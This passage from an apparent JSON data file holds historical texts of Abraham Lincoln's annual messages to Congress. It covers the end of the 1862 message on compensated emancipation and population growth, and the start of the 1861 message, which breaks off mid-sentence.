be prepared to distribute largely seeds,\ncereals, plants, and cuttings, and has already published and liberally\ndiffused much valuable information in anticipation of a more elaborate\nreport, which will in due time be furnished, embracing some valuable\ntests in chemical science now in progress in the laboratory.The creation of this Department was for the more immediate benefit of a\nlarge class of our most valuable citizens, and I trust that the liberal\nbasis upon which it has been organized will not only meet your\napprobation, but that it will realize at no distant day all the fondest\nanticipations of its most sanguine friends and become the fruitful\nsource of advantage to all our people.On the 22d day of September last a proclamation was issued by the\nExecutive, a copy of which is herewith submitted. In accordance with\nthe purpose expressed in the second paragraph of that paper, I now\nrespectfully recall your attention to what may be called \"compensated\nemancipation.\"A nation may be said to consist of its territory, its people, and its\nlaws. The territory is the only part which is of certain durability.\n\"One generation passeth away and another generation cometh, but the\nearth abideth forever.\" It is of the first importance to duly consider\nand estimate this ever-enduring part. That portion of the earth's\nsurface which is owned and inhabited by the people of the United States\nis well adapted to be the home of one national family, and it is not\nwell adapted for two or more. Its vast extent and its variety of\nclimate and productions are of advantage in this age for one people,\nwhatever they might have been in former ages. Steam, telegraphs, and\nintelligence have brought these to be an advantageous combination for\none united people.In the inaugural address I briefly pointed out the total inadequacy of\ndisunion as a remedy for the differences between the people of the two\nsections. I did so in language which I can not improve, and which,\ntherefore, I beg to repeat: One section of our country believes slavery\nis right and ought to be extended, while the other believes it is wrong\nand ought not to be extended. This is the only substantial dispute. The\nfugitive-slave clause of the Constitution and the law for the\nsuppression of the foreign slave trade are each as well enforced,\nperhaps, as any law can ever be in a community where the moral sense of\nthe people imperfectly supports the law itself. The great body of the\npeople abide by the dry legal obligation in both cases, and a few break\nover in each. This I think, can not be perfectly cured, and it would be\nworse in both cases after the separation of the sections than before.\nThe foreign slave trade, now imperfectly suppressed, would be\nultimately revived without restriction in one section, while fugitive\nslaves, now only partially surrendered, would not be surrendered at all\nby the other. Physically speaking, we can not separate. We can not\nremove our respective sections from each other nor build an impassable\nwall between them. A husband and wife may be divorced and go out of the\npresence and beyond the reach of each other, but the different parts of\nour country can not do this. They can not but remain face to face, and\nintercourse, either amicable or hostile, must continue between them, Is\nit possible, then, to make that intercourse more advantageous or more\nsatisfactory after separation than before? Can aliens make treaties\neasier than friends can make laws? Can treaties be more faithfully\nenforced between aliens than laws can among friends? Suppose you go to\nwar, you can not fight always; and when, after much loss on both sides\nand no gain on either, you cease fighting, the identical old questions,\nas to terms of intercourse, are again upon you. There is no line,\nstraight or crooked, suitable for a national boundary upon which to\ndivide. Trace through, from east to west, upon the line between the\nfree and slave country, and we shall find a little more than one-third\nof its length are rivers, easy to be crossed, and populated, or soon to\nbe populated, thickly upon both sides; while nearly all its remaining\nlength are merely surveyors' lines, over which people may walk back and\nforth without any consciousness of their presence. No part of this line\ncan be made any more difficult to pass by writing it down on paper or\nparchment as a national boundary. The fact of separation, if it comes,\ngives up on the part of the seceding section the fugitive-slave clause,\nalong with all other constitutional obligations upon the section\nseceded from, while I should expect no treaty stipulation would ever be\nmade to take its place.But there is another difficulty. The great interior region bounded east\nby the Alleghanies, north by the British dominions, west by the Rocky\nMountains, and south by the line along which the culture of corn and\ncotton meets, and which includes part of Virginia, part of Tennessee,\nall of Kentucky, Ohio, Indiana, Michigan, Wisconsin, Illinois,\nMissouri, Kansas, Iowa, Minnesota, and the Territories of Dakota,\nNebraska, and part of Colorado, already has above 10,000,000 people,\nand will have 50,000,000 within fifty years if not prevented by any\npolitical folly or mistake. It contains more than one-third of the\ncountry owned by the United States--certainly more than 1,000,000\nsquare miles. Once half as populous as Massachusetts already is, it\nwould have more than 75,000,000 people. A glance at the map shows that,\nterritorially speaking, it is the great body of the Republic. The other\nparts are but marginal borders to it. The magnificent region sloping\nwest from the Rocky Mountains to the Pacific being the deepest and also\nthe richest in undeveloped resources. In the production of provisions\ngrains, grasses, and all which proceed from them this great interior\nregion is naturally one of the most important in the world. Ascertain\nfrom the statistics the small proportion of the region which has as yet\nbeen brought into cultivation, and also the large and rapidly\nincreasing amount of its products, and we shall be overwhelmed with the\nmagnitude of the prospect presented. And yet this region has no\nseacoast--touches no ocean anywhere. As part of one nation, its people\nnow find, and may forever find, their way to Europe by New York, to\nSouth America and Africa by New Orleans, and to Asia by San Francisco;\nbut separate our common country into two nations, as designed by the\npresent rebellion, and every man of this great interior region is\nthereby cut off from some one or more of these outlets, not perhaps by\na physical barrier, but by embarrassing and onerous trade regulations.And this is true, wherever a dividing or boundary line may be fixed.\nPlace it between the now free and slave country, or place it south of\nKentucky or north of Ohio, and still the truth remains that none south\nof it can trade to any port or place north of it, and none north of it\ncan trade to any port or place south of it, except upon terms dictated\nby a government foreign to them. These outlets, east, west, and south,\nare indispensable to the well-being of the people inhabiting and to\ninhabit this vast interior region. Which of the three may be the best\nis no proper question. All are better than either, and all of right\nbelong to that people and to their successors forever. True to\nthemselves, they will not ask where a line of separation shall be, but\nwill vow rather that there shall be no such line. Nor are the marginal\nregions less interested in these communications to and through them to\nthe great outside world. They, too, and each of them, must have access\nto this Egypt of the West without paying toll at the crossing of any\nnational boundary.Our national strife springs not from our permanent part; not from the\nland we inhabit: not from our national homestead. There is no possible\nsevering of this but would multiply and not mitigate evils among us. In\nall its adaptations and aptitudes it demands union and abhors\nseparation. In fact, it would ere long force reunion, however much of\nblood and treasure the separation might have cost. Our strife pertains\nto ourselves--to the passing generations of men--and it can without\nconvulsion be hushed forever with the passing of one generation.In this view I recommend the adoption of the following resolution and\narticles amendatory to the Constitution of the United States: Resolved\nby the Senate and House of Representatives of the United States of\nAmerica in Congress assembled (two-thirds of both Houses concurring),\nThat the following articles be proposed to the legislatures (or\nconventions) of the several States as amendments to the Constitution of\nthe United States, all or any of which articles, when ratified by\nthree-fourths of the said legislatures (or conventions ), to be valid\nas part or parts of the said Constitution, viz:ART.--. Every State wherein slavery now exists which shall abolish the\nsame therein at any time or times before the 1st day of January, A. D.\n1900, shall receive compensation from the United States as follows, to\nwit:The President of the United States shall deliver to every such State\nbonds of the United States bearing interest at the rate of per cent per\nannum to an amount equal to the aggregate sum of ____ for each slave\nshown to have been therein by the Eighth Census of the United States,\nsaid bonds to be delivered to such State by installments or in one\nparcel at the completion of the abolishment, accordingly as the same\nshall have been gradual or at one time within such State; and interest\nshall begin to run upon any such bond only from the proper time of its\ndelivery as aforesaid. Any State having received bonds as aforesaid and\nafterwards reintroducing or tolerating slavery therein shall refund to\nthe United States the bonds so received, or the value thereof, and all\ninterest paid thereon.ART.--All slaves who shall have enjoyed actual freedom by the chances\nof the war at any time before the end of the rebellion shall be forever\nfree; but all owners of such who shall not have been disloyal shall be\ncompensated for them at the same rates as is provided for States\nadopting abolishment of slavery, but in such way that no slave shall be\ntwice accounted for.ART.--Congress may appropriate money and otherwise provide for\ncolonizing free colored persons with their own consent at any place or\nplaces without the United States. I beg indulgence to discuss these\nproposed articles at some length. Without slavery the rebellion could\nnever have existed; without slavery it could not continue.Among the friends of the Union there is great diversity of sentiment\nand of policy in regard to slavery and the African race amongst us.\nSome would perpetuate slavery; some would abolish it suddenly and\nwithout compensation; some would abolish it gradually and with\ncompensation: some would remove the freed people from us, and some\nwould retain them with us; and there are yet other minor diversities.\nBecause of these diversities we waste much strength in struggles among\nourselves. By mutual concession we should harmonize and act together.\nThis would be compromise, but it would be compromise among the friends\nand not with the enemies of the Union. These articles are intended to\nembody a plan of such mutual concessions. If the plan shall be adopted,\nit is assumed that emancipation will follow, at least in several of the\nStates.As to the first article, the main points are, first, the emancipation;\nsecondly, the length of time for consummating it (thirty-seven years);\nand, thirdly, the compensation.The emancipation will be unsatisfactory to the advocates of perpetual\nslavery, but the length of time should greatly mitigate their\ndissatisfaction. The time spares both races from the evils of sudden\nderangement--in fact, from the necessity of any derangement--while most\nof those whose habitual course of thought will be disturbed by the\nmeasure will have passed away before its consummation. They will never\nsee it. Another class will hail the prospect of emancipation, but will\ndeprecate the length of time. They will feel that it gives too little\nto the now living slaves. But it really gives them much. It saves them\nfrom the vagrant destitution which must largely attend immediate\nemancipation in localities where their numbers are very great, and it\ngives the inspiring assurance that their posterity shall be free\nforever. The plan leaves to each State choosing to act under it to\nabolish slavery now or at the end of the century, or at any\nintermediate time, or by degrees extending over the whole or any part\nof the period, and it obliges no two States to proceed alike. It also\nprovides for compensation, and generally the mode of making it. This,\nit would seem, must further mitigate the dissatisfaction of those who\nfavor perpetual slavery, and especially of those who are to receive the\ncompensation. Doubtless some of those who are to pay and not to receive\nwill object. Yet the measure is both just and economical. In a certain\nsense the liberation of slaves is the destruction of property--property\nacquired by descent or by purchase, the same as any other property. It\nis no less true for having been often said that the people of the South\nare not more responsible for the original introduction of this property\nthan are the people of the North; and when it is remembered how\nunhesitatingly we all use cotton and sugar and share the profits of\ndealing in them, it may not be quite safe to say that the South has\nbeen more responsible than the North for its continuance. If, then, for\na common object this property is to be sacrificed, is it not just that\nit be done at a common charge?And if with less money, or money more easily paid, we can preserve the\nbenefits of the Union by this means than we can by the war alone, is it\nnot also economical to do it? Let us consider it, then. Let us\nascertain the sum we have expended in the war since compensated\nemancipation was proposed last March, and consider whether if that\nmeasure had been promptly accepted by even some of the slave States the\nsame sum would not have done more to close the war than has been\notherwise done. If so, the measure would save money, and in that view\nwould be a prudent and economical measure. Certainly it is not so easy\nto pay something as it is to pay nothing, but it is easier to pay a\nlarge sum than it is to pay a larger one. And it is easier to pay any\nsum when we are able than it is to pay it before we are able. The war\nrequires large sums, and requires them at once. The aggregate sum\nnecessary for compensated emancipation of course would be large. But it\nwould require no ready cash, nor the bonds even any faster than the\nemancipation progresses. This might not, and probably would not, close\nbefore the end of the thirty-seven years. At that time we shall\nprobably have a hundred millions of people to share the burden, instead\nof thirty-one millions as now. And not only so, but the increase of our\npopulation may be expected to continue for a long time after that\nperiod as rapidly as before, because our territory will not have become\nfull. I do not state this inconsiderately. At the same ratio of\nincrease which we have maintained, on an average, from our first\nnational census, in 1790, until that of 1860, we should in 1900 have a\npopulation of 103,208,415. And why may we not continue that ratio far\nbeyond that period? Our abundant room, our broad national homestead, is\nour ample resource. Were our territory as limited as are the British\nIsles, very certainly our population could not expand as stated.\nInstead of receiving the foreign born as now, we should be compelled to\nsend part of the native born away. But such is not our condition. We\nhave 2,963,000 square miles. Europe has 3,800,000, with a population\naveraging 73 1/3 persons to the square mile. Why may not our country at\nsome time average as many? Is it less fertile? Has it more waste\nsurface by mountains, rivers, lakes, deserts, or other causes? Is it\ninferior to Europe in any natural advantage? If, then, we are at some\ntime to be as populous as Europe, how soon? As to when this may be, we\ncan judge by the past and the present; as to when it will be, if ever,\ndepends much on whether we maintain the Union. Several of our States\nare already above the average of Europe 73 1/3 to the square mile.\nMassachusetts has 157; Rhode Island, 133; Connecticut, 99; New York and\nNew Jersey, each 80. Also two other great States, Pennsylvania and\nOhio, are not far below, the former having 63 and the latter 59. The\nStates already above the European average, except New York, have\nincreased in as rapid a ratio since passing that point as ever before,\nwhile no one of them is equal to some other parts of our country in\nnatural capacity for sustaining a dense population.Taking the nation in the aggregate, and we find its population and\nratio of increase for the several decennial periods to be as follows:Year - Population - Ratio of increase.- - Per cent.1790 - 3,929,827 - ..........1800 - 5,304,937 - 35.021810 - 7,239,814 - 36.451820 - 9,638,131 - 36.451830 - 12,866,020 - 33.491840 - 17,069,453 - 32.671850 - 23,191,876 - 35.871860 - 31,443,790 - 35.58This shows an average decennial increase of 34.60 per cent in\npopulation through the seventy years from our first to our last census\nyet taken. It is seen that the ratio of increase at no one of these\nseven periods is either 2 per cent below or 2 per cent above the\naverage, thus showing how inflexible, and consequently how reliable,\nthe law of increase in our case is. Assuming that it will continue, it\ngives the following results:Year - Population1870 - 42,323,3411880 - 56,967,2161890 - 76,677,8721900 - 103,208,4151910 - 138,918,5261920 - 186,984,3351930 - 251,680,914These figures show that our country may be as populous as Europe now is\nat some point between 1920 and 1930--say about 1925--our territory, at\n73 1/3 persons to the square mile, being of capacity to contain\n217,186,000.And we will reach this, too, if we do not ourselves relinquish the\nchance by the folly and evils of disunion or by long and exhausting war\nspringing from the only great element of national discord among us.\nWhile it can not be foreseen exactly how much one huge example of\nsecession, breeding lesser ones indefinitely, would retard population,\ncivilization, and prosperity, no one can doubt that the extent of it\nwould be very great and injurious.The proposed emancipation would shorten the war, perpetuate peace,\ninsure this increase of population, and proportionately the wealth of\nthe country. With these we should pay all the emancipation would cost,\ntogether with our other debt, easier than we should pay our other debt\nwithout it. If we had allowed our old national debt to run at 6 per\ncent per annum, simple interest, from the end of our revolutionary\nstruggle until to-day, without paying anything on either principal or\ninterest, each man of us would owe less upon that debt now than each\nman owed upon it then; and this because our increase of men through the\nwhole period has been greater than 6 per cent--has run faster than the\ninterest upon the debt. Thus time alone relieves a debtor nation, so\nlong as its population increases faster than unpaid interest\naccumulates on its debt.This fact would be no excuse for delaying payment of what is justly\ndue, but it shows the great importance of time in this connection--the\ngreat advantage of a policy by which we shall not have to pay until we\nnumber 100,000,000 what by a different policy we would have to pay now,\nwhen we number but 31,000,000. In a word, it shows that a dollar will\nbe much harder to pay for the war than will be a dollar for\nemancipation on the proposed plan. And then the latter will cost no\nblood, no precious life. It will be a saving of both.As to the second article, I think it would be impracticable to return\nto bondage the class of persons therein contemplated. Some of them,\ndoubtless, in the property sense belong to loyal owners, and hence\nprovision is made in this article for compensating such. The third\narticle relates to the future of the freed people. It does not oblige,\nbut merely authorizes Congress to aid in colonizing such as may\nconsent. This ought not to be regarded as objectionable on the one hand\nor on the other, insomuch as it comes to nothing unless by the mutual\nconsent of the people to be deported and the American voters, through\ntheir representatives in Congress.I can not make it better known than it already is that I strongly favor\ncolonization; and yet I wish to say there is an objection urged against\nfree colored persons remaining in the country which is largely\nimaginary, if not sometimes malicious.It is insisted that their presence would injure and displace white\nlabor and white laborers. If there ever could be a proper time for mere\ncatch arguments, that time surely is not now. In times like the present\nmen should utter nothing for which they would not willingly be\nresponsible through time and in eternity. Is it true, then, that\ncolored people can displace any more white labor by being free than by\nremaining slaves? If they stay in their old places, they jostle no\nwhite laborers; if they leave their old places, they leave them open to\nwhite laborers. Logically, there is neither more nor less of it.\nEmancipation, even without deportation, would probably enhance the\nwages of white labor, and very surely would not reduce them. Thus the\ncustomary amount of labor would still have to be performed--the freed\npeople would surely not do more than their old proportion of it, and\nvery probably for a time would do less, leaving an increased part to\nwhite laborers, bringing their labor into greater demand, and\nconsequently enhancing the wages of it. With deportation, even to a\nlimited extent, enhanced wages to white labor is mathematically\ncertain. Labor is like any other commodity in the market--increase the\ndemand for it and you increase the price of it. Reduce the supply of\nblack labor by colonizing the black laborer out of the country, and by\nprecisely so much you increase the demand for and wages of white labor.But it is dreaded that the freed people will swarm forth and cover the\nwhole land. Are they not already in the land? Will liberation make them\nany more numerous? Equally distributed among the whites of the whole\ncountry, and there would be but one colored to seven whites. Could the\none in any way greatly disturb the seven? There are many communities\nnow having more than one free colored person to seven whites and this\nwithout any apparent consciousness of evil from it. The District of\nColumbia and the States of Maryland and Delaware are all in this\ncondition. The District has more than one free colored to six whites,\nand yet in its frequent petitions to Congress I believe it has never\npresented the presence of free colored persons as one of its\ngrievances. But why should emancipation South send the free people\nNorth? People of any color seldom run unless there be something to run\nfrom. Heretofore colored people to some extent have fled North from\nbondage, and now, perhaps, from both bondage and destitution. But if\ngradual emancipation and deportation be adopted, they will have neither\nto flee from. Their old masters will give them wages at least until new\nlaborers can be procured, and the freedmen in turn will gladly give\ntheir labor for the wages till new homes can be found for them in\ncongenial climes and with people of their own blood and race. This\nproposition can be trusted on the mutual interests involved. And in any\nevent, can not the North decide for itself whether to receive them?Again, as practice proves more than theory in any case, has there been\nany irruption of colored people northward because of the abolishment of\nslavery in this District last spring?What I have said of the proportion of free colored persons to the\nwhites in the District is from the census of 1860, having no reference\nto persons called contrabands nor to those made free by the act of\nCongress abolishing slavery here.The plan consisting of these articles is recommended, not but that a\nrestoration of the national authority would be accepted without its\nadoption.Nor will the war nor proceedings under the proclamation of September\n22, 1862, be stayed because of the recommendation of this plan. Its\ntimely adoption, I doubt not, would bring restoration, and thereby stay\nboth.And notwithstanding this plan, the recommendation that Congress provide\nby law for compensating any State which may adopt emancipation before\nthis plan shall have been acted upon is hereby earnestly renewed. Such\nwould be only an advance part of the plan, and the same arguments apply\nto both.This plan is recommended as a means, not in exclusion of, but\nadditional to, all others for restoring and preserving the national\nauthority throughout the Union. The subject is presented exclusively in\nits economical aspect. The plan would, I am confident, secure peace\nmore speedily and maintain it more permanently than can be done by\nforce alone, while all it would cost, considering amounts and manner of\npayment and times of payment, would be easier paid than will be the\nadditional cost of the war if we rely solely upon force. It is much,\nvery much, that it would cost no blood at all.The plan is proposed as permanent constitutional law. It can not become\nsuch without the concurrence of, first, two-thirds of Congress, and\nafterwards three-fourths of the States. The requisite three-fourths of\nthe States will necessarily include seven of the slave States. Their\nconcurrence, if obtained, will give assurance of their severally\nadopting emancipation at no very distant day upon the new\nconstitutional terms. This assurance would end the struggle now and\nsave the Union forever.I do not forget the gravity which should characterize a paper addressed\nto the Congress of the nation by the Chief Magistrate of the nation,\nnor do I forget that some of you are my seniors, nor that many of you\nhave more experience than I in the conduct of public affairs. Yet I\ntrust that in view of the great responsibility resting upon me you will\nperceive no want of respect to yourselves in any undue earnestness I\nmay seem to display.Is it doubted, then, that the plan I propose, if adopted, would shorten\nthe war, and thus lessen its expenditure of money and of blood? Is it\ndoubted that it would restore the national authority and national\nprosperity and perpetuate both indefinitely? Is it doubted that we\nhere--Congress and Executive can secure its adoption? Will not the good\npeople respond to a united and earnest appeal from us? Can we, can\nthey, by any other means so certainly or so speedily assure these vital\nobjects? We can succeed only by concert. It is not \"Can any of us\nimagine better?\" but \"Can we all do better?\" Object whatsoever is\npossible, still the question recurs, \"Can we do better?\" The dogmas of\nthe quiet past are inadequate to the stormy present. The occasion is\npiled high with difficulty, and we must rise with the occasion. As our\ncase is new, so we must think anew and act anew. We must disenthrall\nourselves, and then we shall save our country.Fellow-citizens, we can not escape history. We of this Congress and\nthis Administration will be remembered in spite of ourselves. No\npersonal significance or insignificance can spare one or another of us.\nThe fiery trial through which we pass will light us down in honor or\ndishonor to the latest generation. We say we are for the Union. The\nworld will not forget that we say this. We know how to save the Union.\nThe world knows we do know how to save it. We, even we here, hold the\npower and bear the responsibility. In giving freedom to the slave we\nassure freedom to the free--honorable alike in what we give and what we\npreserve. We shall nobly save or meanly lose the last best hope of\nearth. Other means may succeed; this could not fail. The way is plain,\npeaceful, generous, just--a way which if followed the world will\nforever applaud and God must forever bless.", 
+    "name": "Abraham Lincoln"
+}
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+{
+    "date": "December 3, 1861", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:In the midst of unprecedented political troubles we have cause of great\ngratitude to God for unusual good health and most abundant harvests.You will not be surprised to learn that in the peculiar exigencies of\nthe times our intercourse with foreign nations has been attended with\nprofound solicitude, chiefly turning upon our own domestic affairs.A disloyal portion of the American people have during the whole year\nbeen engaged in an attempt to divide and destroy the Union. A nation\nwhich endures factious domestic division is exposed to disrespect\nabroad, and one party, if not both, is sure sooner or later to invoke\nforeign intervention.Nations thus tempted to interfere are not always able to resist the\ncounsels of seeming expediency and ungenerous ambition, although\nmeasures adopted under such influences seldom fail to be unfortunate\nand injurious to those adopting them.The disloyal citizens of the United States who have offered the ruin of\nour country in return for the aid and comfort which they have invoked\nabroad have received less patronage and encouragement than they\nprobably expected. If it were just to suppose, as the insurgents have\nseemed to assume, that foreign nations in this case, discarding all\nmoral, social, and treaty obligations, would act solely and selfishly\nfor the most speedy restoration of commerce, including especially the\nacquisition of cotton, those nations appear as yet not to have seen\ntheir way to their object more directly or clearly through the\ndestruction than through the preservation of the Union. If we could\ndare to believe that foreign nations are actuated by no higher\nprinciple than this, I am quite sure a sound argument could be made to\nshow them that they can reach their aim more readily and easily by\naiding to crush this rebellion than by giving encouragement to it.The principal lever relied on by the insurgents for exciting foreign\nnations to hostility against us, as already intimated, is the\nembarrassment of commerce. Those nations, however, not improbably saw\nfrom the first that it was the Union which made as well our foreign as\nour domestic commerce. They can scarcely have failed to perceive that\nthe effort for disunion produces the existing difficulty, and that one\nstrong nation promises more durable peace and a more extensive,\nvaluable, and reliable commerce than can the same nation broken into\nhostile fragments.It is not my purpose to review our discussions with foreign states,\nbecause, whatever might be their wishes or dispositions, the integrity\nof our country and the stability of our Government mainly depend not\nupon them, but on the loyalty, virtue, patriotism, and intelligence of\nthe American people. The correspondence itself, with the usual\nreservations, is herewith submitted.I venture to hope it will appear that we have practiced prudence and\nliberality toward foreign powers, averting causes of irritation and\nwith firmness maintaining our own rights and honor.Since, however, it is apparent that here, as in every other state,\nforeign dangers necessarily attend domestic difficulties, I recommend\nthat adequate and ample measures be adopted for maintaining the public\ndefenses on every side. While under this general recommendation\nprovision for defending our seacoast line readily occurs to the mind, I\nalso in the same connection ask the attention of Congress to our great\nlakes and rivers. It is believed that some fortifications and depots of\narms and munitions, with harbor and navigation improvements, all at\nwell-selected points upon these, would be of great importance to the\nnational defense and preservation. I ask attention to the views of the\nSecretary of War, expressed in his report, upon the same general\nsubject.  I deem it of importance that the loyal regions of east\nTennessee and western North Carolina should be connected with Kentucky\nand other faithful parts of the Union by railroad. I therefore\nrecommend, as a military measure, that Congress provide for the\nconstruction of such road as speedily as possible. Kentucky no doubt\nwill cooperate, and through her legislature make the most judicious\nselection of a line. The northern terminus must connect with some\nexisting railroad, and whether the route shall be from Lexington or\nNicholasville to the Cumberland Gap, or from Lebanon to the Tennessee\nline, in the direction of Knoxville, or on some still different line,\ncan easily be determined. Kentucky and the General Government\ncooperating, the work can be completed in a very short time, and when\ndone it will be not only of vast present usefulness, but also a\nvaluable permanent improvement, worth its cost in all the future.Some treaties, designed chiefly for the interests of commerce, and\nhaving no grave political importance, have been negotiated, and will be\nsubmitted to the Senate for their consideration.Although we have failed to induce some of the commercial powers to\nadopt a desirable melioration of the rigor of maritime war, we have\nremoved all obstructions from the way of this humane reform except such\nas are merely of temporary and accidental occurrence.I invite your attention to the correspondence between Her Britannic\nMajesty's minister accredited to this Government and the Secretary of\nState relative to the detention of the British ship Perthshire in June\nlast by the United States steamer Massachusetts for a supposed breach\nof the blockade. As this detention was occasioned by an obvious\nmisapprehension of the facts, and as justice requires that we should\ncommit no belligerent act not rounded in strict right as sanctioned by\npublic law, I recommend that an appropriation be made to satisfy the\nreasonable demand of the owners of the vessel for her detention.I repeat the recommendation of my predecessor in his annual message to\nCongress in December last in regard to the disposition of the surplus\nwhich will probably remain after satisfying the claims of American\ncitizens against China, pursuant to the awards of the commissioners\nunder the act of the 3d of March, 1859. If, however, it should not be\ndeemed advisable to carry that recommendation into effect, I would\nsuggest that authority be given for investing the principal, over the\nproceeds of the surplus referred to, in good securities, with a view to\nthe satisfaction of such other just claims of our citizens against\nChina as are not unlikely to arise hereafter in the course of our\nextensive trade with that Empire.By the act of the 5th of August last Congress authorized the President\nto instruct the commanders of suitable vessels to defend themselves\nagainst and to capture pirates. This authority has been exercised in a\nsingle instance only. For the more effectual protection of our\nextensive and valuable commerce in the Eastern seas especially, it\nseems to me that it would also be advisable to authorize the commanders\nof sailing vessels to recapture any prizes which pirates may make of\nUnited States vessels and their cargoes, and the consular courts now\nestablished by law in Eastern countries to adjudicate the cases in the\nevent that this should not be objected to by the local authorities.If any good reason exists why we should persevere longer in withholding\nour recognition of the independence and sovereignty of Hayti and\nLiberia, I am unable to discern it. Unwilling, however, to inaugurate a\nnovel policy in regard to them without the approbation of Congress, I\nsubmit for your consideration the expediency of an appropriation for\nmaintaining a charge d'affaires near each of those new States. It does\nnot admit of doubt that important commercial advantages might be\nsecured by favorable treaties with them.The operations of the Treasury during the period which has elapsed\nsince your adjournment have been conducted with signal success. The\npatriotism of the people has placed at the disposal of the Government\nthe large means demanded by the public exigencies. Much of the national\nloan has been taken by citizens of the industrial classes, whose\nconfidence in their country's faith and zeal for their country's\ndeliverance from present peril have induced them to contribute to the\nsupport of the Government the whole of their limited acquisitions. This\nfact imposes peculiar obligations to economy in disbursement and energy\nin action.The revenue from all sources, including loans, for the financial year\nending on the 30th of June, 1861, was $86,835,900.27, and the\nexpenditures for the same period, including payments on account of the\npublic debt, were $84,578,834.47, leaving a balance in the Treasury on\nthe 1st of July of 52,257,065.80. For the first quarter of the\nfinancial year ending on the 30th of September, 1861, the receipts from\nall sources, including the balance of the 1st of July, were\n$102,532,509.27, and the expenses $98,239,733.09, leaving a balance on\nthe 1st of October, 1861, of $4,292,776.18.Estimates for the remaining three quarters of the year and for the\nfinancial year 1863, together with his views of ways and means for\nmeeting the demands contemplated by them, will be submitted to Congress\nby the Secretary of the Treasury. It is gratifying to know that the\nexpenditures made necessary by the rebellion are not beyond the\nresources of the loyal people, and to believe that the same patriotism\nwhich has thus far sustained the Government will continue to sustain it\ntill peace and union shall again bless the land.I respectfully refer to the report of the Secretary of War for\ninformation respecting the numerical strength of the Army and for\nrecommendations having in view an increase of its efficiency and the\nwell-being of the various branches of the service intrusted to his\ncare. It is gratifying to know that the patriotism of the people has\nproved equal to the occasion, and that the number of troops tendered\ngreatly exceeds the force which Congress authorized me to call into the\nfield.I refer with pleasure to those portions of his report which make\nallusion to the creditable degree of discipline already attained by our\ntroops and to the excellent sanitary condition of the entire Army.The recommendation of the Secretary for an organization of the militia\nupon a uniform basis is a subject of vital importance to the future\nsafety of the country, and is commended to the serious attention of\nCongress.The large addition to the Regular Army, in connection with the\ndefection that has so considerably diminished the number of its\nofficers, gives peculiar importance to his recommendation for\nincreasing the corps of cadets to the greatest capacity of the Military\nAcademy.By mere omission, I presume, Congress has failed to provide chaplains\nfor hospitals occupied by volunteers. This subject was brought to my\nnotice, and I was induced to draw up the form of a letter, one copy of\nwhich, properly addressed, has been delivered to each of the persons,\nand at the dates respectively named and stated in a schedule,\ncontaining also the form of the letter marked A, and herewith\ntransmitted.These gentlemen, I understand, entered upon the duties designated at\nthe times respectively stated in the schedule, and have labored\nfaithfully therein ever since. I therefore recommend that they be\ncompensated at the same rate as chaplains in the Army. I further\nsuggest that general provision be made for chaplains to serve at\nhospitals, as well as with regiments.The report of the Secretary of the Navy presents in detail the\noperations of that branch of the service, the activity and energy which\nhave characterized its administration, and the results of measures to\nincrease its efficiency and power. Such have been the additions, by\nconstruction and purchase, that it may almost be said a navy has been\ncreated and brought into service since our difficulties commenced.Besides blockading our extensive coast, squadrons larger than ever\nbefore assembled under our flag have been put afloat and performed\ndeeds which have increased our naval renown.I would invite special attention to the recommendation of the Secretary\nfor a more perfect organization of the Navy by introducing additional\ngrades in the service.The present organization is defective and unsatisfactory, and the\nsuggestions submitted by the Department will, it is believed, if\nadopted, obviate the difficulties alluded to, promote harmony, and\nincrease the efficiency of the Navy.There are three vacancies on the bench of the Supreme Court--two by the\ndecease of Justices Daniel and McLean and one by the resignation of\nJustice Campbell. I have so far forborne making nominations to fill\nthese vacancies for reasons which I will now state. Two of the outgoing\njudges resided within the States now overrun by revolt, so that if\nsuccessors were appointed in the same localities they could not now\nserve upon their circuits; and many of the most competent men there\nprobably would not take the personal hazard of accepting to serve, even\nhere, upon the Supreme bench. I have been unwilling to throw all the\nappointments northward, thus disabling myself from doing justice to the\nSouth on the return of peace; although I may remark that to transfer to\nthe North one which has heretofore been in the South would not, with\nreference to territory and population, be unjust.During the long and brilliant judicial career of Judge McLean his\ncircuit grew into an empire altogether too large for any one judge to\ngive the courts therein more than a nominal attendance--rising in\npopulation from 1,470,018 in 1830 to 6,151,405 in 1860.Besides this, the country generally has outgrown our present judicial\nsystem. If uniformity was at all intended, the system requires that all\nthe States shall be accommodated with circuit courts, attended by\nSupreme judges, while, in fact, Wisconsin, Minnesota, Iowa, Kansas,\nFlorida, Texas, California, and Oregon have never had any such courts.\nNor can this well be remedied without a change in the system, because\nthe adding of judges to the Supreme Court, enough for the accommodation\nof all parts of the country with circuit courts, would create a court\naltogether too numerous for a judicial body of any sort. And the evil,\nif it be one, will increase as new States come into the Union. Circuit\ncourts are useful or they are not useful. If useful, no State should be\ndenied them; if not useful, no State should have them. Let them be\nprovided for all or abolished as to all.Three modifications occur to me, either of which, I think, would be an\nimprovement upon our present system. Let the Supreme Court be of\nconvenient number in every event; then, first, let the whole country be\ndivided into circuits of convenient size, the Supreme judges to serve\nin a number of them corresponding to their own number, and independent\ncircuit judges be provided for all the rest; or, secondly, let the\nSupreme judges be relieved from circuit duties and circuit judges\nprovided for all the circuits; or, thirdly, dispense with circuit\ncourts altogether, leaving the judicial functions wholly to the\ndistrict courts and an independent Supreme Court.I respectfully recommend to the consideration of Congress the present\ncondition of the statute laws, with the hope that Congress will be able\nto find an easy remedy for many of the inconveniences and evils which\nconstantly embarrass those engaged in the practical administration of\nthem. Since the organization of the Government Congress has enacted\nsome 5,000 acts and joint resolutions, which fill more than 6,000\nclosely printed pages and are scattered through many volumes. Many of\nthese acts have been drawn in haste and without sufficient caution, so\nthat their provisions are often obscure in themselves or in conflict\nwith each other, or at least so doubtful as to render it very difficult\nfor even the best-informed persons to ascertain precisely what the\nstatute law really is.It seems to me very important that the statute laws should be made as\nplain and intelligible as possible, and be reduced to as small a\ncompass as may consist with the fullness and precision of the will of\nthe Legislature and the perspicuity of its language. This well done\nwould, I think, greatly facilitate the labors of those whose duty it is\nto assist in the administration of the laws, and would be a lasting\nbenefit to the people, by placing before them in a more accessible and\nintelligible form the laws which so deeply concern their interests and\ntheir duties.I am informed by some whose opinions I respect that all the acts of\nCongress now in force and of a permanent and general nature might be\nrevised and rewritten so as to be embraced in one volume (or at most\ntwo volumes) of ordinary and convenient size; and I respectfully\nrecommend to Congress to consider of the subject, and if my suggestion\nbe approved to devise such plan as to their wisdom shall seem most\nproper for the attainment of the end proposed.One of the unavoidable consequences of the present insurrection is the\nentire suppression in many places of all the ordinary means of\nadministering civil justice by the officers and in the forms 